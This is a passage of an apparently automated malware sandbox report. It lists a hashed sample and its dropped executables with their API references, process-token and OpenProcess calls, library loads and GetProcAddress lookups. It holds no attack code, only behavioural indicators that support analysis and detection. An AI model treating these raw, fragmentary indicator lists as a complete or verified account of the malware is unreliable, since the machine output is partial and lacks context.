"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "GetWindowText" (Indicator: "GetWindowText"; File: "00003236.00000CA4.996429.00402000.wprm") Found reference to API "FindWindow" (Indicator: "FindWindow"; File: "00003236.00000CA4.996429.00402000.wprm") Found reference to API "GetWindowText" (Indicator: "GetWindowText"; Source: "00000000-00003848.00000000.79199.01338000.00000004.mdmp") Found reference to API "FindWindow" (Indicator: "FindWindow"; Source: "00000000-00003848.00000000.79199.01338000.00000004.mdmp") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; Source: "00000000-00005628.00000000.76333.729E1000.00000020.mdmp, 00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "FindWindowW" (Indicator: "FindWindow"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp")3b:T67f,OpenProcessToken@ADVAPI32.DLL at 00000000-00005792-35075-15-00941F90 OpenProcessToken@ADVAPI32.DLL at 00000000-00005792-35075-72-009418A3 GetProcessHeap@KERNEL32.DLL at 00000000-00005628-36138-1603-00BF0B62 GetProcessHeap@KERNEL32.DLL at 00000000-00005628-36138-1604-00BF115F GetProcessHeap@KERNEL32.DLL at 00000000-00005628-36138-1605-00BF1193 GetProcessHeap@KERNEL32.DLL at 00000000-00005628-36138-1606-00BF10F9 GetProcessHeap@KERNEL32.DLL at 00000000-00005628-36138-1607-00BF0D8B GetProcessHeap@KERNEL32.DLL at 00000000-00005628-36138-1608-00BF0FB4 GetProcessHeap@KERNEL32.DLL at 00000000-00005628-36138-1609-00BF1014 GetProcessHeap@KERNEL32.DLL at 00000000-00005628-36138-1612-00BF1571 OpenProcessToken@ADVAPI32.DLL at 00000000-00005628-36138-1614-00BF162B GetProcessHeap@KERNEL32.DLL at 00000000-00005628-36138-1615-00BF1201 GetProcessHeap@KERNEL32.DLL at 00000000-00005628-36138-1616-00BF1803 GetProcessHeap@KERNEL32.DLL at 00000000-00005628-36138-1617-00BF175D OpenProcessToken@ADVAPI32.DLL at 00000000-00005628-36138-1619-00BF14CE GetProcessHeap@KERNEL32.DLL at 00000000-00005628-36138-1620-00BF1874 OpenProcess@KERNEL32.DLL at 00000000-00005628-36138-1641-00BFB32A OpenProcess@KERNEL32.DLL at 00000000-00005628-36138-1867-00BFEB20 OpenProcess@KERNEL32.DLL at 00000000-00005628-36138-2268-00C1A0E2 OpenProcess@KERNEL32.DLL at 00000000-00005628-36138-2270-00C1A387 OpenProcess@KERNEL32.DLL at 00000000-00005628-36138-2273-00C1A8A3 OpenProcess@KERNEL32.DLL at 00000000-00005628-36138-2276-00C1AA6C GetProcessHeap@KERNEL32.DLL at 00000000-00005628-36138-3687-00BCD1DB GetProcessHeap@KERNEL32.DLL at 00000000-00003848-46045-722-0132A76B3c:T4b7,"AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" at 00000000-00003236-0000010C-619316 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00003236-0000010C-2970487 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00003236-0000010C-2977520 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00003236-0000010C-3959595 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00003236-0000010C-3964193 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00003236-0000010C-43839043d:T471,file/memory contains long string(File: "8Cg883Yu.exe") file/memory contains long string(File: "2QO3391.exe") Found string "GetCommandLineA" (Source: "00000000-00001184.00000000.78534.011F0000.00000002.mdmp, 00000000-00001184.00000000.78534.011F8000.00000004.mdmp") Found string "GetCommandLineW" (Source: "00000000-00001184.00000000.78534.011F0000.00000002.mdmp, 00000000-00001184.00000000.78534.011F8000.00000004.mdmp") Found string "GetCommandLineA" (Source: "00000000-00003368.00000000.79552.00AC0000.00000002.mdmp, 00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found string "GetCommandLineW" (Source: "00000000-00003368.00000000.79552.00AC0000.00000002.mdmp, 00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found string "GetCommandLineA" (Source: "00000000-00003848.00000000.79199.01330000.00000002.mdmp") Found string "GetCommandLineW" (Source: "00000000-00003848.00000000.79199.01330000.00000002.mdmp") Found string "GetCommandLineA" (Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found string "GetCommandLineW" (Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp")3e:T438,Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00001184.00000000.78534.011F0000.00000002.mdmp, 00000000-00001184.00000000.78534.011F8000.00000004.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00003368.00000000.79552.00AC0000.00000002.mdmp, 00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00003848.00000000.79199.01330000.00000002.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp")3f:T2e23,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005716) "ca8Oc89.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005632) "JA0VX88.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005852) "CF3Mr43.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00005792) "CF3Mr43.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005792) "1SX49Ye8.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter UxTheme.dll (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter IMM32.dll (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter comctl32 (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\ieframe.dll (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Internet Explorer\ieproxy.dll (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter iertutil.dll (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-1 (UID: 00000000-00005628) "1SX49Ye8.exe" called "LoadLibrary" with a parameter ext-ms-win-kernel32-package-current-l1-1-0 (UID: 00000000-00005628) "AppLaunch.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\PresentationCore\468f4e17be144ca12a73a4297eacc9cc\PresentationCore.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\252cc7b0fae8cfe083bdc149957c0c54\PresentationFramework.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter ucrtbase_clr0400.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter dwrite.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\wpfgfx_v0400.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationNative_v0400.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\274e43040c8a7a02ef1065db3283005a\System.Runtime.Serialization. (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.IdentityModel\c2ef5bc545b98a289f02d0b3eddbe280\System.IdentityModel.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\SMDiagnostics\dc67dcb4b2fb4a3853d458cab08561f0\SMDiagnostics.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Intern (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Transactions\3d760b4a3260a41ef84a3fd866780980\System.Transactions.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00002532) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002532) "AppLaunch.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00002532) "AppLaunch.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00002532) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002532) "AppLaunch.exe" called "LoadLibrary" with a parameter wshtcpip (UID: 00000000-00002532) "AppLaunch.exe" called "LoadLibrary" with a parameter wship6.dll (UID: 00000000-00002532) "AppLaunch.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00002532) "AppLaunch.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00002532) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00002532)40:T9d16,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005716) "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00005716) "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005716) "ca8Oc89.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00005632) "ca8Oc89.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005632) "JA0VX88.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005852) "JA0VX88.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00005852) "JA0VX88.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005852) "CF3Mr43.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00005792) "CF3Mr43.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00005792) "CF3Mr43.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005792) "1SX49Ye8.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter Wow64RevertWow64FsRedirection (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter RegisterClassNameW (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter OpenThemeData (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter GetThemeBool (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter ImmIsIME (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter HIMAGELIST_QueryInterface (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter DrawShadowText (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter DrawSizeBox (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter DrawScrollBar (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter SizeBoxHwnd (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter ScrollBar_MouseMove (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter ScrollBar_Menu (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter HandleScrollCmd (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter DetachScrollBars (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter AttachScrollBars (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CCSetScrollInfo (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CCGetScrollInfo (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CCEnableScrollBar (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter QuerySystemGestureStatus (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter SHGetInstanceExplorer (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter OleInitialize (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CreateBindCtx (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter PSCreateMemoryPropertyStore (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter PSPropertyBag_WriteDWORD (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CoGetApartmentType (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CoRegisterInitializeSpy (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CoGetMalloc (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadDWORD (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadGUID (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter RegEnumKeyW (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter ApphelpCheckShellObject (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CLSIDFromOle1Class (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter GetCatalogObject (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter GetCatalogObject2 (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter AcquireSRWLockShared (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter ReleaseSRWLockShared (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter InitCommonControlsEx (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter IsValidURL (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter SHStrDupW (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter PSCreateAdapterFromPropertyStore (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter PropVariantToBSTR (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter PropVariantClear (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter IUnknown_Set (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CoTaskMemRealloc (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter ResolveDelayLoadedAPI (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadStrAlloc (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CoAllowSetForegroundWindow (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter FindWindowExW (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_Size_ExW (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_ExW (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter OleUninitialize (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CoRevokeInitializeSpy (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter NdrOleInitializeExtension (UID: 00000000-00005628) "1SX49Ye8.exe" called 